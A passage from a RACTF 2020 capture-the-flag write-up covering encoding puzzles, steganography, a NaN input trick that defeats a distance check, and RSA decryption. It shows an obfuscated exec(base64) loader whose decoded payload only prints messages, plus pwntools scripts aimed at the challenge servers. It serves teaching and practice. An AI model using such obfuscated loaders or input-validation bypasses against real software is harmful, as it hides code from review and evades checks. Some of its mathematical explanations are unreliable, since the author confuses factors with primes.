</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>ST.MOV</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Solved_in_a_Flash</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Spentalkux</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Suspended_Belief</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Teleport</span> </div>
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# **RACTF 2020**
RACTF is a student-run, extensible, open-source, capture-the-flag event.
In more human terms, we run a set of cyber-security challenges, of many different varieties, with many difficulty levels, for the sole purposes of having fun and learning new skills.
This is the ninth CTF I participated in and by far the best one, the challenges were great, funny and not too guessy, the framework was really good and stable (in other words not CTFd), and the CTF team were friendly and helpful.\In the end I finished most of the crypto, misc, osint and web challenges (I will add more when I'll have time) and ended up around 100th in the leaderboard (I played solo so it's not too shaby), this is my second writeup and hopefully more will come, if you have any comments, questions, or found any error (which I'm sure there are plenty of) please let me know. Thanks for reading!
***
# Table of Contents* [Miscellaneous](#Miscellaneous) - [Discord](#discord) - [Spentalkux](#spentalkux) - [pearl pearl pearl](#pearl-pearl-pearl) - [Reading Beetwen the Lines](#reading-between-the-lines) - [Mad CTF Disease](#mad-ctf-disease) - [Teleport](#teleport)* [Cryptography](#cryptography) - [Really Simple Algorithm](#really-simple-algorithm) - [Really Small Algorithm](#really-small-algorithm) - [Really Speedy Algorithm](#really-speedy-algorithm) - [B007l3G CRYP70](#b007l3g-cryp70)* [Steg / Forensics](#steg--forensics) - [Cut short](#cut-short) - [Dimensionless Loading](#dimensionless-loading)
***# Miscellaneous
## Discord(for the sake of completion)
Join our discord over at https://discord.gg/Rrhdvzn and see if you can find the flag somewhere.
**ractf{the_game_begins}**
**Solution:** the flag is pinned in #general channel in the discord server.
## Spentalkux Spentalkux ??
**ractf{My5t3r10u5_1nt3rf4c3?}**
**Solution:** We don't get a lot of information, but we can assume by the emojis that the challenge has something to do with python packages, if we serach for the word Spentalkux on google we can find this package:
I downloaded the package (linked below) and examined the files, in the package we can find the \_\_init\_\_.py file which has the following code:```pythonimport base64p="""aW1wb3J0IHRpbWUKCmdvX2F3YXlfbXNncyA9IFsiR29vZGJ5ZSBub3cuIiwgIlRoYXQncyB5b3VyIGN1ZSB0byBsZWF2ZSwgYnJvIiwgIkV4aXQgc3RhZ2UgbGVmdCwgcGFsIiwgIk9GRiBZT1UgUE9QLiIsICJZb3Uga25vdyB3aGF0IEkgaGF2ZW4ndCBnb3QgdGltZSBmb3IgdGhpcyIsICJGb3JraW5nIGFuZCBleGVjdXRpbmcgcm0gLXJmLiJdCgp0aW1lLnNsZWVwKDEpCnByaW50KCJIZWxsby4iKQp0aW1lLnNsZWVwKDIpCnByaW50KCJDYW4gSSBoZWxwIHlvdT8iKQp0aW1lLnNsZWVwKDIpCnByaW50KCJPaCwgeW91J3JlIGxvb2tpbmcgZm9yIHNvbWV0aGluZyB0byBkbyB3aXRoICp0aGF0Ki4iKQp0aW1lLnNsZWVwKDIpCnByaW50KCJNeSBjcmVhdG9yIGxlZnQgdGhpcyBiZWhpbmQgYnV0LCBJIHdvbmRlciB3aGF0IHRoZSBrZXkgaXM/IEkgZG9uJ3Qga25vdywgYnV0IGlmIEkgZGlkIEkgd291bGQgc2F5IGl0J3MgYWJvdXQgMTAgY2hhcmFjdGVycy4iKQp0aW1lLnNsZWVwKDQpCnByaW50KCJFbmpveSB0aGlzLiIpCnRpbWUuc2xlZXAoMSkKcHJpbnQoIlp0cHloLCBJcSBpaXInanQgdnJ0ZHR4YSBxenh3IGxodSdnbyBneGZwa3J3IHR6IHBja3YgYmMgeWJ0ZXZ5Li4uICpmZmlpZXlhbm8qLiBOZXcgY2lrbSBzZWthYiBndSB4dXggY3NrZml3Y2tyIGJzIHpmeW8gc2kgbGdtcGQ6Ly96dXBsdGZ2Zy5jencvbHhvL1FHdk0wc2E2IikKdGltZS5zbGVlcCg1KQpmb3IgaSBpbiBnb19hd2F5X21zZ3M6CiAgICB0aW1lLnNsZWVwKDMpCiAgICBwcmludChpKQp0aW1lLnNsZWVwKDAuNSk="""exec(base64.b64decode(p.encode("ascii")))```We can see that this massive block of seemingly random characters is encoded to ascii and then decoded to base64, a type of encoding which uses letter, numbers and symbols to represent a value, so I plugged the block of text to Cyberchef to decode the data and got the following script:
```pythonimport time
go_away_msgs = ["Goodbye now.", "That's your cue to leave, bro", "Exit stage left, pal", "OFF YOU POP.", "You know what I haven't got time for this", "Forking and executing rm -rf."]
time.sleep(1)print("Hello.")time.sleep(2)print("Can I help you?")time.sleep(2)print("Oh, you're looking for something to do with *that*.")time.sleep(2)print("My creator left this behind but, I wonder what the key is? I don't know, but if I did I would say it's about 10 characters.")time.sleep(4)print("Enjoy this.")time.sleep(1)print("Ztpyh, Iq iir'jt vrtdtxa qzxw lhu'go gxfpkrw tz pckv bc ybtevy... *ffiieyano*. New cikm sekab gu xux cskfiwckr bs zfyo si lgmpd://zupltfvg.czw/lxo/QGvM0sa6")time.sleep(5)for i in go_away_msgs: time.sleep(3) print(i)time.sleep(0.5)```I think I needed to import the package to a script and run it but oh well we still got the message, so we are given another unreadable text which we can assume is a ciphertext with a key of length 10 as the messages suggested, we can infer by the ciphertext that it's a Vigenere cipher beacuse the format of the text and the format of the url in the end suggests that the letters were substituted (and it is common to use Vigenere in CTF so it's an easy assumption), I first attempted to decrypt the url using Cyberchef with the assumption that it starts with https and got the substring of the key 'ental', and after trying to get other parts of the url decrpyted I noticed that the key is similar to the name of the package, so I used that as a key et voila:```Hello, If you're reading this you've managed to find my little... *interface*. The next stage of the challenge is over at https://pastebin.com/raw/BCiT0sp6```We got ourself the decrpyted message.\ In the messege is a url to some data hosted on pastebin, if you look at the site you'll see that the data consists of numbers from 1 to 9 and some uppercase letters, only from A to F (I will not show it here beacuse it's massive), I assumed that it was an hex encoding of something and by the sheer size of it I gueesed that it's also a file, so I used an hex editor and created a new file with the data and it turns out to be an PNG image file (you can check things like that using the file command in linux), the image is:
So we need to look back into the past... maybe there is an earlier version of this package (btw the binary below is decoded to _herring which I have no clue what it means), when we check the release history of the spentalkux package in pypi.org we can see that there is a 0.9 version of it, so I downloaded this package and again looked at the \_\_init\_\_.py file, it contains the following code:```pythonimport base64p="""aW1wb3J0IHRpbWUKCmdvX2F3YXlfbXNncyA9IFsiVGhpcyBpcyB0aGUgcGFydCB3aGVyZSB5b3UgKmxlYXZlKiwgYnJvLiIsICJMb29rLCBpZiB5b3UgZG9uJ3QgZ2V0IG91dHRhIGhlcmUgc29vbiBpbWEgcnVuIHJtIC1yZiBvbiB5YSIsICJJIGRvbid0IHdhbnQgeW91IGhlcmUuIEdPIEFXQVkuIiwgIkxlYXZlIG1lIGFsb25lIG5vdy4iLCAiR09PREJZRSEiLCAiSSB1c2VkIHRvIHdhbnQgeW91IGRlYWQgYnV0Li4uIiwgIm5vdyBJIG9ubHkgd2FudCB5b3UgZ29uZS4iXQoKdGltZS5zbGVlcCgxKQpwcmludCgiVXJnaC4gTm90IHlvdSBhZ2Fpbi4iKQp0aW1lLnNsZWVwKDIpCnByaW50KCJGaW5lLiBJJ2xsIHRlbGwgeW91IG1vcmUuIikKdGltZS5zbGVlcCgyKQpwcmludCgiLi4uIikKdGltZS5zbGVlcCgyKQpwcmludCgiQnV0LCBiZWluZyB0aGUgY2hhb3RpYyBldmlsIEkgYW0sIEknbSBub3QgZ2l2aW5nIGl0IHRvIHlvdSBpbiBwbGFpbnRleHQuIikKdGltZS5zbGVlcCg0KQpwcmludCgiRW5qb3kgdGhpcy4iKQp0aW1lLnNsZWVwKDEpCnByaW50KCJKQTJIR1NLQkpJNERTWjJXR1JBUzZLWlJMSktWRVlLRkpGQVdTT0NUTk5URkNLWlJGNUhUR1pSWEpWMkVLUVRHSlZUWFVPTFNJTVhXSTJLWU5WRVVDTkxJS041SEszUlRKQkhHSVFUQ001UkhJVlNRR0ozQzZNUkxKUlhYT1RKWUdNM1hPUlNJSk40RlVZVE5JVTRYQVVMR09OR0U2WUxKSlJBVVlPRExPWkVXV05DTklKV1dDTUpYT1ZURVFVTENKRkZFR1dEUEs1SEZVV1NMSTVJRk9RUlZLRldHVTVTWUpGMlZRVDNOTlVZRkdaMk1ORjRFVTVaWUpCSkVHT0NVTUpXWFVOM1lHVlNVUzQzUVBGWUdDV1NJS05MV0UyUllNTkFXUVpES05SVVRFVjJWTk5KREM0M1dHSlNGVTNMWExCVUZVM0NFTlpFV0dRM01HQkRYUzRTR0xBM0dNUzNMSUpDVUVWQ0NPTllTV09MVkxFWkVLWTNWTTRaRkVaUlFQQjJHQ1NUTUpaU0ZTU1RWUEJWRkFPTExNTlNEQ1RDUEs0WFdNVUtZT1JSREM0M0VHTlRGR1ZDSExCREZJNkJUS1ZWR01SMkdQQTNIS1NTSE5KU1VTUUtCSUUiKQp0aW1lLnNsZWVwKDUpCmZvciBpIGluIGdvX2F3YXlfbXNnczoKICAgIHRpbWUuc2xlZXAoMikKICAgIHByaW50KGkpCnRpbWUuc2xlZXAoMC41KQ=="""exec(base64.b64decode(p.encode("ascii")))```we again have a base64 encoded message, plugging it to Cyberchef gives us:
```pythonimport time
go_away_msgs = ["This is the part where you *leave*, bro.", "Look, if you don't get outta here soon ima run rm -rf on ya", "I don't want you here. GO AWAY.", "Leave me alone now.", "GOODBYE!", "I used to want you dead but...", "now I only want you gone."]
time.sleep(1)print("Urgh. Not you again.")time.sleep(2)print("Fine. I'll tell you more.")time.sleep(2)print("...")time.sleep(2)print("But, being the chaotic evil I am, I'm not giving it to you in plaintext.")time.sleep(4)print("Enjoy this.")time.sleep(1)print("JA2HGSKBJI4DSZ2WGRAS6KZRLJKVEYKFJFAWSOCTNNTFCKZRF5HTGZRXJV2EKQTGJVTXUOLSIMXWI2KYNVEUCNLIKN5HK3RTJBHGIQTCM5RHIVSQGJ3C6MRLJRXXOTJYGM3XORSIJN4FUYTNIU4XAULGONGE6YLJJRAUYODLOZEWWNCNIJWWCMJXOVTEQULCJFFEGWDPK5HFUWSLI5IFOQRVKFWGU5SYJF2VQT3NNUYFGZ2MNF4EU5ZYJBJEGOCUMJWXUN3YGVSUS43QPFYGCWSIKNLWE2RYMNAWQZDKNRUTEV2VNNJDC43WGJSFU3LXLBUFU3CENZEWGQ3MGBDXS4SGLA3GMS3LIJCUEVCCONYSWOLVLEZEKY3VM4ZFEZRQPB2GCSTMJZSFSSTVPBVFAOLLMNSDCTCPK4XWMUKYORRDC43EGNTFGVCHLBDFI6BTKVVGMR2GPA3HKSSHNJSUSQKBIE")time.sleep(5)for i in go_away_msgs: time.sleep(2) print(i)time.sleep(0.5)```
And we got another decrypted/decoded code, we can see that it consists only of letters and numbers, in the hope that this isn't some ciphertext I tried using base32 as it only uses letters and numbers (and too many letters to be hexadecimal), by doing so we get another code which consists of letters, numbers and symbols so we can safely assume that this is base64 again, and decoding the data from base64 we get...
```.....=.^.ÿíYQ.. .¼JGÐû_ÎÝþÌ´@_2.ý¬/Ý.y...RÎé÷.×An.íTý¯ÿo.£.<ß¼..¬Yna=¥.ì,æ¢,.ü.ò$àÀfk^î|t. ..¡cYd¡.X.P.;×"åÎ.m..¸±'..D/.nlûÇ..².©i.ÒY¸üp.].X¶YI.ÖËöu.°^.e.r.].ʱWéò¤.@S.ʾöæ6.Ë Ù.ôÆÖ..×X&ìc?Ù.wRÎ[÷Ð^Öõ±ÝßI1..<wR7Æ..®$hÞ ..```...yeah this doesn't look good, but without losing hope and checked if this is a file, so I downloaded the data and fortunately it is one, a gz compressed data file in fact:
[link to file](assets//files//Spentalkux.gz)
In this file we got another decoded/decrpyted data (I really lost count of how many were in this challenge by now), the data consists only of 1 and 0 so most of the time it is one of three things - binary data, morse code or bacon code, so I first checked if it's binary and got another block of binary data, decoding it we get data which looks like hex and decoding that we get...weird random-looking data, so it is obviously base85 encoded, so I base85 decoded the data and finally after too many decrpytings and decodings we got the flag:
**Resources:**
* Cyberchef : https://gchq.github.io/CyberChef/ * Spentalkux Package : https://pypi.org/project/spentalkux/
## pearl pearl pearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearl
**ractf{p34r1_1ns1d3_4_cl4m}**
**Solution:** When we connect to server we are given the following stream of data:
When I started this challenge I immidiatly noticed the similarities it has with a challenge in AngstromCTF 2020 called clam clam clam, in it, a massage was hidden by using a carriage return symbol so when you are connected to the server and the output is printed to the terminal you can't see the message as the symbol makes the terminal overwrite the data in the line, but if you check the actual data printed by the server you can see the message.So, I wrote a short script which connects to the server, reads the data and prints it to the screen without special symbols taking effect (and most importantly carriage return), but it didnt work, it's seems that even though there are a lot of carriage return symbols in the data there aren't any hidden messages.Then I started thinking about data representation, it seemed that there are a lot of carriage returns without the need of them, even sometimes one after the other, but always after a series of carriage returns there is a new line symbol:
and then it hit me, what if the new line symbol and carriage return symbol reprenst 0 and 1?With that in mind, I wrote a short script which creates a empty string, reads until an end of a false flag and check if the symbol afterwards is new line or carriage return and append 0 or 1 to the string accordinaly, in the end it encodes the binary string to ascii characters and prints them:```python 3from pwn import remoteimport binasciihost = "88.198.219.20"port = 22324s = remote(host, port)flag = ''try: while 1: s.recvuntil("}") end = str(s.recv(1)) if 'r' in end: flag += '0' else: flag += '1'except EOFError: print(''.join([chr(int(flag[i:i + 8], 2)) for i in range(0, len(flag), 8)]))```and I got the flag:
**Resources:*** Writeup for clam clam clam challenge from AngstromCTF 2020: https://ctftime.org/writeup/18869* Explanation on carriage return from my writeup on TJCTF 2020: https://github.com/W3rni0/TJCTF_2020#censorship
## Reading Between the LinesWe found a strange file knocking around, but I've got no idea who wrote it because the indentation's an absolute mess!
[main.c](https://files.ractf.co.uk/challenges/57/main.c)
**ractf{R34d1ngBetw33nChar4ct3r5}**
**Solution:** This one I actually figured out while writing the writeup for the previous challenge (who said writing writeups is useless), the challenges are very simillar in the way that the data is represented, but this one in my opinion is much trickier.When I first viewed the file I noticed the strange indentations all over the place, if we open the file in Notepad++ we can set the editor to let us view special characters such as tabs and spaces:
I didn't think much of them at the start, then I tried transforming them to morse code in the same way I showed in the previous challenge to no avail (I guess I tried it first because the editor represents the symbols in a similar fashion) but actually the hidden data transcribed by the tab symbol and the space symbol is binary when the space symbol reprensts 0 and the tab symbol represents 1, so I wrote a really short script that reads the code and just filter out of the way all the characters except the space symbol and tab symbol, decodes them to binary in the way I described and from that to an ascii encoded string:
```python 3import redata = open("main.c",'r').read()data = re.sub(r'[^\t\s]',r'',data).replace(" ",'0').replace("\t",'1').split("\n")data = [c for c in data if c != '1']print(''.join([chr(int(c, 2)) for c in data]))```
and we got the flag:
**Resources:*** Notepad++: https://notepad-plus-plus.org/
## Mad CTF DiseaseTodo:\[x] Be a cow\[x] Eat grass\[x] Eat grass\[x] Eat grass\[ ] Find the flag
[cow.jpg](assets//images//mad_CTF_disease.jpg)
**ractf{exp3rt-mo0neuv3r5}**
**Solution:** Now to change things up we got ourselves a stego-but-not-in-stego type of challenge, with the challenge we get this nice JPEG image data file:
<p align="center">
First thing I do when faced with images is to check using binwalk if there are any embedded files in the images, as expected binwalk finds nothing in this image, afterwards I check using steghide also for embedded files, It supposed to do a better job but I mostly use it by habit because binwalk almost always finds the same files and...
...wait...did steghide actually found a file!? if we take a look at the file steghide (!) found we see a really bizzare text constructed only by moo's:```OOOMoOMoOMoOMoOMoOMoOMoOMoOMMMmoOMMMMMMmoOMMMMOOMOomOoMoOmoOmoomOoMMMmoOMMMMMMmoOMMMMOOMOomOoMoOmoOmoomOoMMMmoOMMMMMMmoOMMMMOOMOomOoMoOmoOmooOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoomOoOOOmoOOOOmOomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOo```I recognized this text when I first saw this as the programming language called COW, an esoteric programming language created in the 90's, I recognized it mostly because me and my friends used to joke about this kind of languages at uni, Now we only need to find an interpreter for this code, I used the one linked at the resources after a quick google search and run it on the code:
and we got our cow-scented flag.
**Resources:*** steghide: http://steghide.sourceforge.net/* COW programming language: https://esolangs.org/wiki/COW* COW interpreter: http://www.frank-buss.de/cow.html
## TeleportOne of our admins plays a strange game which can be accessed over TCP. He's been playing for a while but can't get the flag! See if you can help him out.
[teleport.py](https://files.ractf.co.uk/challenges/47/teleport.py)
**ractf{fl0at1ng_p01nt_15_h4rd}**
**Solution:** With the challenge we are given the following script in python 3:```python 3import math
x = 0.0z = 0.0flag_x = 10000000000000.0flag_z = 10000000000000.0print("Your player is at 0,0")print("The flag is at 10000000000000, 10000000000000")print("Enter your next position in the form x,y")print("You can move a maximum of 10 metres at a time")for _ in range(100): print(f"Current position: {x}, {z}") try: move = input("Enter next position(maximum distance of 10): ").split(",") new_x = float(move[0]) new_z = float(move[1]) except Exception: continue diff_x = new_x - x diff_z = new_z - z dist = math.sqrt(diff_x ** 2 + diff_z ** 2) if dist > 10: print("You moved too far") else: x = new_x z = new_z if x == 10000000000000 and z == 10000000000000: print("ractf{#####################}") break```And a server to connect which runs the same script with the flag uncensored:
This is the last challenge I solved in the misc. category and admittedly the challenge I spent most of my time on in the CTF.\We can assume by the script that we need to get to the specified position to get the flag, also we can assume that the script is written in python 3 so the input function does not evaluate the data given to it and regards it as a string.\When I first started working on it I tried writing a script which connect to the server and moves the player to the needed position, I quickly found out that there is a for loop with a range limited enough that you can't just move the player to that position 10 meters at a time. Then I tried looking for ways to make the script evaluate commands so that I can change the value of the player position or read the file from outside but those didn't work, after a while of trying everything I can and literally slamming my hands on the keyboard hoping something will work I noticed that in python 3 the input function return the string given simillar to how raw_input works in python 2, so the float function in the code gets a string as an input and returns a float value but how does it work, and more importantly which strings does it accepts and how they are parsed, after a google search I found in a stackoverflow question (linked below) the following table:
```val is_float(val) Note-------------------- ---------- --------------------------------"" False Blank string"127" True Passed stringTrue True Pure sweet Truth"True" False Vile contemptible lieFalse True So false it becomes true"123.456" True Decimal" -127 " True Spaces trimmed"\t\n12\r\n" True whitespace ignored"NaN" True Not a number"NaNanananaBATMAN" False I am Batman"-iNF" True Negative infinity"123.E4" True Exponential notation".1" True mantissa only"1,234" False Commas gtfou'\x30' True Unicode is fine."NULL" False Null is not special0x3fade True Hexadecimal"6e7777777777777" True Shrunk to infinity"1.797693e+308" True This is max value"infinity" True Same as inf"infinityandBEYOND" False Extra characters wreck it"12.34.56" False Only one dot allowedu'四' False Japanese '4' is not a float."#56" False Pound sign"56%" False Percent of what?"0E0" True Exponential, move dot 0 places0**0 True 0___0 Exponentiation"-5e-5" True Raise to a negative number"+1e1" True Plus is OK with exponent"+1e1^5" False Fancy exponent not interpreted"+1e1.3" False No decimals in exponent"-+1" False Make up your mind"(1)" False Parenthesis is bad```this tells us that we can give as an argument the string "NaN" and the function will return the value nan.\nan, which stands for not a number, is used in floating point arithmetic to specify that the value is undefined or unrepresentable (such with the case of zero divided by zero), this value is great for us because any arithmetic operation done on nan will result with the value of nan, and for any value x the comperison nan > x is alway false, so if we give as inputs NaN to the script we will get that the value of the variable dist is nan and so the comparison of dist > 10 will be always false and our values of x and z will be assigned with nan, in the next round we can simply give the server any value we want and because x and z are nan we will still get that dist is nan, when we try this on the server we get the following:
Looks like it works! now all we need is to try it on the target position:
and we have the flag.
**Resources:*** https://stackoverflow.com/questions/379906/how-do-i-parse-a-string-to-a-float-or-int
***# Cryptography
## Really Simple AlgorithmWe found a strange service running over TCP (my my, there do seem to be a lot of those as of late!). Connect to the service and see if you can't exploit it somehow.
**ractf{JustLikeInTheSimulations}**
**Solution:** We get with the challenge a server to connect to, when we connect we get the following from the server:
By the name of the challenge and the given parameters we can guess that we have a ciphertext (ct) that we need to decrypt using RSA, without going to details about the inner workings of this cipher RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrpyt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specificly in RSA in order to find the private key we need to solve the integer factorazition problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, futhermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us insted of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller to pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encrpytion in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, simillarly, decryption is raising the ciphertext to the power of d mod n, quick summary:
Now that we have a small grasp on the RSA cipher we can find the plaintext, for that we can simply calculate phi using p and q, calculate d the modular inverse of e for mod phi (there are simple algorithms to do that when phi is known) and raise the ct to the power of d all that mod n, granted we need to format the given data such that we get a string as an output but that is pretty much it, for that I wrote the following simple script:```python 3from Crypto.Util.number import inverse,long_to_bytes
p = 12833901728970171388678945507754676960570564187478915890756252680302258738572768425514697119116486522872735333269301121725837213919119361243570017244930827q = 8685010637106121107084047195118402409215842897698487264267433718477479354767404984745930968495304569653593363731183181235650228232448723433206649564699917e =65537ct = 104536221379218374559315812842898785543586172192529496741654945513979724836283541403985361204608773215458113360936324585410377792508450050738902701055214879301637084381595170577259571394944946964821278357275739836194297661039198189108160037106075575073288386809680879228538070908501318889611402074878681886350
n = p * qphi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```by running it we get:
and we have our flag
**Resources:*** RSA: https://en.wikipedia.org/wiki/RSA_(cryptosystem)* For further read about RSA (and better explanation): https://sbrilliant.org/wiki/rsa-encryption/
## Really Small Algorithm
Connect to the network service to get the flag.
**ractf{S0m3t1mesS1zeDoesM4773r}**
**Solution:** With this challenge we are given a server to connect to, when we connect we are greeted with the following:
in the last challenge I tried to explain how RSA works, this time I will try (and hopefully won't fail misearably) to exalain why RSA works, for that we need to talk about factors, factors are numbers which can be divided only by 1 and themself (we are only talking about whole numbers), we have discovered that there are infinitly many factors and that we can represent any number as the multiplication of factors, but, we havent discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is 